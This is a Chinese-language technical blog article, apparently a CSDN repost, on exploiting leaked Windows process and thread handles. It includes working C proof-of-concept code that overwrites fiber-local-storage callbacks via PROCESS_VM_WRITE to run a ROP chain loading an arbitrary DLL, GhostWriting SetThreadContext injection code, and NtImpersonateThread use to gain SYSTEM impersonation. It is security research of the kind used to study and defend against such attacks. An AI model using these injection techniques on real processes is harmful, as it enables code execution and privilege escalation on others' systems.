通过进程id获取进程句柄_深入剖析线程与进程句柄泄露漏洞(下)

本文深入探讨了在仅具有进程VM_WRITE权限的情况下,如何通过控制纤程本地存储(FLS)来影响远程进程的执行流程。作者介绍了如何利用FLS和TLS进行内存泄漏,以及如何在没有完整权限集的情况下执行代码注入。文章详细阐述了利用`NtQuerySystemInformation`和`NtQueryInformationProcess`获取远程进程信息,并展示了如何通过设置线程上下文来实现代码注入,尽管存在权限限制。
摘要由CSDN通过智能技术生成

f6d42719a14883bfa6789d1158684f4c.gif

(接上文)

ad32e9ef732947813c9c07ac401e366b.pngPROCESS_VM_*

这涵盖了VM访问权限的三种类型:WRITE/READ/OPERATION。前两个权限应该是不言自明的,第三个权限允许操作虚拟地址空间本身,例如修改页面保护(VirtualProtectEx)或分配内存(VirtualAllocEx)。本文不打算介绍这三种权限的排列组合情况,但我认为`PROCESS_VM_WRITE`是必要的前置条件。虽然`PROCESS_VM_OPERATION`可以令远程进程崩溃,不过也会引发其他缺陷,同时,它既不是通用的,也不是优雅的方法。`PROCESS_VM_READ`同上。

事实证明,`PROCESS_VM_WRITE`本身就是一个挑战,我还没有找到一个通用的解决方案。乍一看,Hexacorn [12]介绍的一套粉碎式注入策略似乎是完美的:它们只要求远程进程使用窗口、剪贴板注册等。既便如此,这些要求也不一定能得到满足。对我们来说不幸的是,其中许多都不允许跨会话访问或扩展完整性级别。我们虽然可以对远程进程执行写操作,但仍然需要借助其他方法来控制执行流程。

除了无法修改页面权限外,我们还无法读取或映射/分配内存。但是,还是很多方法可以从远程进程泄漏内存而不直接与它进行交互的。

例如,通过`NtQuerySystemInformation`,我们可以枚举远程进程内的所有线程,无论其IL如何。这样,我们就可以获得一个`SYSTEM_EXTENDED_THREAD_INFORMATION`对象的列表,其中包含TEB的地址等。此外,我们还可以通过`NtQueryInformationProcess`获取远程进程PEB地址,不过,必须具有`PROCESS_QUERY_INFORMATION`权限,这一要求会给我们带来很大的麻烦。为了解决这个问题,可以将`PROCESS_QUERY_INFORMATION`附加到`PROCESS_VM_WRITE`上。

实际上,我采取的方法有点复杂,不过,它还是比较可靠的。如果您已经阅读过我之前关于纤程本地存储(FLS)方面的文章[13],就会了解这种方法。如果您还没有读过这篇文章的话,不妨花点时间读一下。

简而言之,我们可以滥用光纤和FLS来覆盖“...在纤程删除、线程退出以及释放FLS索引时”执行的回调函数。进程的主线程会不断设置纤程,因此,总是会有一个回调函数可用于覆盖(msvcrt!_freefls)。这些回调函数通常存储在PEB(FlsCallback)和TEB(FlsData)中的纤程本地存储中。通过粉碎FlsCallback,我们就能够在执行纤程操作时控制系统的执行流程。

但是,由于只具有对进程的写访问权限,所以这个过程有点费劲。例如,由于我们无法分配内存,所以,我们利用一些已知空间来存放payload。另外,PEB/TEB中的FlsCallback和FlsData变量都是指针,所以,我们也无法读取它们。

实际上,隐藏payload还是非常容易做到的。这是因为,我们已经可以泄漏PEB/TEB地址,所以,我们实际上已经得到了两个非常强大的原语。在查看了这两个结构之后,我发现线程本地存储(TLS)正好为我们提供了足够的空间来存储ROP Gadget和一个瘦身版的payload。而TLS是嵌入在结构本身之中的,因此,我们可以直接通过偏移量找到TEB地址。如果您不熟悉TLS的话,那么我们强烈建议先参阅Skywing撰写的一篇文章[14]。

不过,获得对回调函数的控制确实有点棘手,这是因为指向`_FLS_CALLBACK_INFO`结构的指针是存储在PEB(FlsCallback)中的,并且该结构是不透明的。由于我们实际上无法读取这个指针,因此,我们无法直接覆盖该指针。

我采取的方法,是在PEB中覆盖FlsCallback指针本身,实质上就是在TLS中创建我们自己伪造的`_FLS_CALLBACK_INFO`结构。这是一个非常简单的结构,实际上只有一个重要值:回调函数指针。

此外,根据FLS的文章,我们还需要控制ECX/RCX。这样,我们就可以通过跳板来执行我们的ROP payload了。不过,这要求更新`TEB-> FlsData`,但是,由于这是一个指针,所以我们很难做到。然而,就像`FlsCallback`一样,我们能够覆盖这个值并创建自己的数据结构——这倒不是什么难事。TLS缓冲区的布局如下所示: 

//

// 0  ] 00000000 00000000 [STACK PIVOT] 00000000

// 16 ] 00000000 00000000 [ECX VALUE] [NEW STACK PTR]

// 32 ] 41414141 41414141 41414141 41414141

//

```

幸运的是,恰好在`kernelbase!SwitchToFiberContext`(或Windows 7上的` kernel32!SwitchToFiber`)中有一个完美的跳板:

```

7603c415 8ba1d8000000    mov     esp,dword ptr [ecx+0D8h]

7603c41b c20400          ret     4

综合以上几点,我们最终得到:

eax=7603c415 ebx=7ffdf000 ecx=7ffded54 edx=00280bc9 esi=00000001 edi=7ffdee28

eip=7603c415 esp=0019fd6c ebp=0019fd84 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

kernel32!SwitchToFiber+0x115:

7603c415 8ba1d8000000    mov     esp,dword ptr [ecx+0D8h]

ds:0023:7ffdee2c=7ffdee30

0:000> p

eax=7603c415 ebx=7ffdf000 ecx=7ffded54 edx=00280bc9 esi=00000001 edi=7ffdee28

eip=7603c41b esp=7ffdee30 ebp=0019fd84 iopl=0         nv up ei pl nz na po nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202

kernel32!SwitchToFiber+0x11b:

7603c41b c20400          ret     4

0:000> dd esp l3

7ffdee30  41414141 41414141 41414141

现在,我们已经能够控制EIP和堆栈跳板了。实际上,只需调用`LoadLibraryA`即可从任意位置加载磁盘上的DLL。这一招很好用,也很可靠,甚至在进程退出时也会执行并挂起,具体取决于你在DLL中的操作。下面给出实现所有这些目标的最终代码:

_NtWriteVirtualMemory NtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll"), "NtWriteVirtualMemory");

LPVOID lpBuf = malloc(13*sizeof(SIZE_T));

HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION, FALSE, dwTargetPid);

if (hProcess == NULL)

    return;

SIZE_T LoadLibA = (SIZE_T)LoadLibraryA;

SIZE_T RemoteTeb = GetRemoteTeb(hProcess), TlsAddr = 0;

TlsAddr = RemoteTeb + 0xe10;

SIZE_T RemotePeb = GetRemotePeb(hProcess);

SIZE_T PivotGadget = 0x7603c415;

SIZE_T StackAddress = (TlsAddr + 28) - 0xd8;

SIZE_T RtlExitThread = (SIZE_T)GetProcAddress(GetModuleHandleA("ntdll"), "RtlExitUserThread");

SIZE_T LoadLibParam = (SIZE_T)TlsAddr + 48;

//

// construct our TlsSlots payload:

// 0  ] 00000000 00000000 [STACK PIVOT] 00000000

// 16 ] 00000000 00000000 [ECX VALUE] [NEW STACK PTR]

// 32 ] [LOADLIB ADDR] 41414141 [RET ADDR] [LOADLIB ARG PTR]

// 48 ] 41414141

//

memset(lpBuf, 0x0, 16);

*((DWORD*)lpBuf + 2) = PivotGadget;

*((DWORD*)lpBuf+ 4) = 0;

*((DWORD*)lpBuf + 5) = 0;

*((DWORD*)lpBuf + 6) = StackAddress;

StackAddress = TlsAddr + 32;

*((DWORD*)lpBuf + 7) = StackAddress;

*((DWORD*)lpBuf + 8) = LoadLibA;

*((DWORD*)lpBuf + 9) = 0x41414141; // junk

*((DWORD*)lpBuf + 10) = RtlExitThread;

*((DWORD*)lpBuf + 11) = (SIZE_T)TlsAddr + 48;

*((DWORD*)lpBuf + 12) = 0x41414141; // DLL name (AAAA.dll)

NtWriteVirtualMemory(hProcess, (PVOID)TlsAddr, lpBuf, (13 * sizeof(SIZE_T)), NULL);

// update FlsCallback in PEB and FlsData in TEB

StackAddress = TlsAddr + 12;

NtWriteVirtualMemory(hProcess, (LPVOID)(RemoteTeb + 0xfb4), (PVOID)&StackAddress, sizeof(SIZE_T), NULL);

NtWriteVirtualMemory(hProcess, (LPVOID)(RemotePeb + 0x20c), (PVOID)&TlsAddr, sizeof(SIZE_T), NULL);

如果一切正常,在执行回调函数时,你应该看到会从磁盘加载`AAAA.dll`的尝试(只需关闭进程)。需要说明的是,我们之所以在这里使用`NtWriteVirtualMemory`,是因为`WriteProcessMemory`需要用到我们可能不具备的`PROCESS_VM_OPERATION`权限。

这个访问权限的另一种替代品可能是“PROCESS_VM_WRITE|PROCESS_VM_READ”。这样的话,我们就可以看到地址空间,但仍然无法将内存分配给或映射到远程进程。使用上述策略时,我们可以摆脱`PROCESS_QUERY_INFORMATION`的要求,只需从TEB中读取PEB地址即可。

最后,我们还可以考虑`PROCESS_VM_WRITE|PROCESS_VM_READ|PROCESS_VM_OPERATION`权限。一旦获得了`PROCESS_VM_OPERATION`权限,我们的活动余地就大了,因为这样就可以分配内存并更改页面权限。这使我们可以更轻松地使用上述策略,还可以执行内联和IAT hook。

ad32e9ef732947813c9c07ac401e366b.png线程的访问权限

与进程句柄一样,我们这里也可以立即忽略某些访问权限:

SYNCHRONIZE

THREAD_QUERY_INFORMATION

THREAD_GET_CONTEXT

THREAD_QUERY_LIMITED_INFORMATION

THREAD_SUSPEND_RESUME

THREAD_TERMINATE

之后,将留下下列权限:

THREAD_ALL_ACCESS

THREAD_DIRECT_IMPERSONATION

THREAD_IMPERSONATE

THREAD_SET_CONTEXT

THREAD_SET_INFORMATION

THREAD_SET_LIMITED_INFORMATION

THREAD_SET_THREAD_TOKEN

b3b4e17dd87ae7142c2163d848e5a985.pngTHREAD_ALL_ACCESS

其实,我们可以通过这些权限做很多事情,包括以下线程访问权限部分中描述的所有内容。我个人觉得`THREAD_DIRECT_IMPERSONATION`策略是最简单的。

此外,我们还有另一个选择,虽然它显得更加神秘,但同样也是可行的。请注意,线程访问权限无法为我们提供VM读/写权限,因此,我们无法对线程执行“写入”操作,因为这没有多大意义。然而,我们还拥有大量的API,它们能够授予我们下列权限:`SetThreadContext` [4]和`GetThreadContext` [5]。大约十年前,出现过一种非常“低调”的代码注入技术,名为Ghostwriting [6]的。根据该技术发明者的说法,这是一种代码注入策略,并且不需要使用典型的win32 API调用,如WriteProcessMemory和NtMapViewOfSection,甚至无需借助OpenProcess。 

简而言之,该技术可以通过一组特定的汇编代码gadget来利用`SetThreadContext`/`GetThreadContext`函数,从而将payload以dword为单位写入线程堆栈。一旦写入这些payload,就会通过`NtProtectVirtualMemoryAddress`将其权限标记为RWX,并将代码的控制流重定向到相应的payload。

为了找到完成写入操作的gadget,他们会在NTDLL中寻找下列代码:

MOV [REG1], REG2

RET

然后,他们定位一个`JMP $`,或者跳到这里,它将作为一个自动锁和无限循环运行。一旦我们找到了这两个gadget,我们就会挂起该线程。然后,更新RIP,使其指向MOV gadget,并将REG1设置为调整后的RSP,使返回地址变成“JMP $”,并将REG2设置为jump gadget。

void WriteQword(CONTEXT context, HANDLE hThread, size_t WriteWhat, size_t WriteWhere)

{

    SetContextRegister(&context, g_rside, WriteWhat);

    SetContextRegister(&context, g_lside, WriteWhere);

    context.Rsp = StackBase;

    context.Rip = MovAddr;

    WaitForThreadAutoLock(hThread, &context, JmpAddr);

}

其中,`SetContextRegister`只是将我们的gadget中的REG1和REG2赋给适当的寄存器。设置好后,我们将设置堆栈基地址,并将RIP更新为指向我们的gadget。当第一次执行该操作时,我们会将`JMP $` gadget写入堆栈。

之后,代码就会用所谓的线程自动锁来控制执行流程:

void WaitForThreadAutoLock(HANDLE Thread, CONTEXT* PThreadContext,HWND ThreadsWindow,DWORD AutoLockTargetEIP)

{

    SetThreadContext(Thread,PThreadContext);

    do

    {

        ResumeThread(Thread);

        Sleep(30);

        SuspendThread(Thread);

        GetThreadContext(Thread,PThreadContext);

    }

    while(PThreadContext->Eip!=AutoLockTargetEIP);

}

它实际上只是一个waiter,允许线程在检查是否已达到“sink”gadget之前每次运行一点点。

一旦我们的执行命中跳转,我们就获得了write原语。之后,我们只需让RIP重新指向MOV gadget,更新RSP,并将REG1和REG2设置为我们想要的任何值即可。

我已经将该技术的核心函数移植到了x64平台,以展示其可行性。我只是执行`LoadLibraryA`来加载任意路径中的任意DLL,而不是使用它来执行整个payload。相关代码可从Github上下载[11]。

此外,在参加Blackhat 2019大会时,我观看了SafeBreach Labs小组的进程注入演讲。他们发布了一个支持x64平台的GhostWriting [10]技术的代码注入工具,感兴趣的读者不妨试用一下。

ad32e9ef732947813c9c07ac401e366b.pngTHREAD_DIRECT_IMPERSONATION

与`thread_impersonate`的不同之处在于,它允许模拟线程令牌(token),而不仅仅是模拟本身。正如James Forshaw[0][7]所指出的,利用该漏洞只是一个使用`ntimpersonatethread `[8]API的问题而已。使用这个函数,我们可以创建一个完全可控的线程,并能模拟特权线程:

hNewThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpRtl, 0, CREATE_SUSPENDED, &dwTid);

NtImpersonateThread(hNewThread, hThread, &sqos);

这样的话,`hNewThread`将使用SYSTEM令牌来运行,允许我们在特权模拟上下文中执行我们需要的任何操作。

ad32e9ef732947813c9c07ac401e366b.pngTHREAD_IMPERSONATE

不幸的是,我还没有找到能够利用这个漏洞的稳定而通用的方法。因为我们既无法查询远程线程,也无法控制其执行流程,只能管理其模拟状态。

不过,我们可以利用它来强制特权线程使用`NtImpersonateThread`调用来模拟我们,这可能会释放出应用程序中的其他逻辑漏洞。例如,如果服务是在用户上下文(通常具有SYSTEM权限)下创建共享资源(例如文件),则我们可以获得该文件的所有权。如果多个特权线程都是通过它来获取某些信息(例如配置),则可能导致代码执行问题。

ad32e9ef732947813c9c07ac401e366b.pngTHREAD_SET_CONTEXT

获得该权限后,我们不仅可以访问`SetThreadContext`,同时还能使用`QueueUserAPC`。通过它,我们可以获得一个带有警告提示的`CreateRemoteThread`原语。对于由线程处理的APC,它需要进入可警告状态。当执行一组特定的win32函数时,就会发生这种情况,因此,线程完全有可能始终无法进入可警告状态。

如果我们使用的是一个“不配合”的线程,这时`SetThreadContext`就派上用场了。利用它,我们可以通过`NtTestAlert`函数强制线程进入可警告状态。当然,由于无法调用`GetThreadContext`,因此,成功利用这个漏洞后,我们很可能会失去对线程的控制。

结合`THREAD_GET_CONTEXT`时,我们可以利用这个权限“仿造”类似于上面`THREAD_ALL_ACCESS`部分讨论的Ghostwriting代码注入技术。

ad32e9ef732947813c9c07ac401e366b.pngTHREAD_SET_INFORMATION

需要在线程上设置各种ThreadInformationClass [9]值时,我们可以借助于`NtSetInformationThread`。仔细研究了所有这些值后,我仍然没有找到可以直接影响远程线程的方法。其中,有些值虽然很有趣,但是并不常见(如`ThreadSetTlsArrayAddress`、`ThreadAttachContainer`等),而有些则还没有实现,或者需要`SeDebugPrivilege`等权限。

此外,我们至今尚未找到可以利用它们的方法。

ad32e9ef732947813c9c07ac401e366b.pngTHREAD_SET_LIMITED_INFORMATION

这允许调用方设置`THREAD_INFORMATION_CLASS`值的子集,即:`ThreadPriority`、`ThreadPriorityBoost`、`ThreadAffinityMask`、`ThreadSelectedCpuSets`和`ThreadNameInformation`。这些都无法让我们接近可利用的原语。

ad32e9ef732947813c9c07ac401e366b.pngTHREAD_SET_THREAD_TOKEN

与`THREAD_IMPERSONATE `类似,我尚未找到滥用该权限的直接且通用的方法。虽然可以设置线程的令牌或修改一些字段(例如通过`SetTokenInformation`),但这并没有给我们带来太大的帮助。

ad32e9ef732947813c9c07ac401e366b.png小结

我对线程权限看起来如此平淡无奇感到有点失望。事实证明,几乎一半的线程权限是无法单独加以利用的,即使结合其他权限,仍然如此。如上所述,要将泄漏的线程句柄转化为可利用的东西,必须具有以下三种权限之一:

THREAD_ALL_ACCESS

THREAD_DIRECT_IMPERSONATION

THREAD_SET_CONTEXT

如果缺乏这些权限的话,要想成功利用它们的话,必须对目标具有深入的了解,并且,还要具备相当的创造力。

同样,进程可直接利用的特定权限子集为: 

PROCESS_ALL_ACCESS

PROCESS_CREATE_PROCESS

PROCESS_CREATE_THREAD

PROCESS_DUP_HANDLE

PROCESS_VM_WRITE

除此之外,要想得手,还需要发挥自己的创造力。

参考文献

[0]\

[1]\

[2]\

[3]\

[4]\

[5]\

[6]\

[7]\

[8]\

[9]\

[10]\

[11]\

[12]\

[13]\

[14]\

[15]

9f2e149615f8ebc6a2b08936dcee039e.png

c81d93ae8c9a28ea0f49238159a35e1e.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值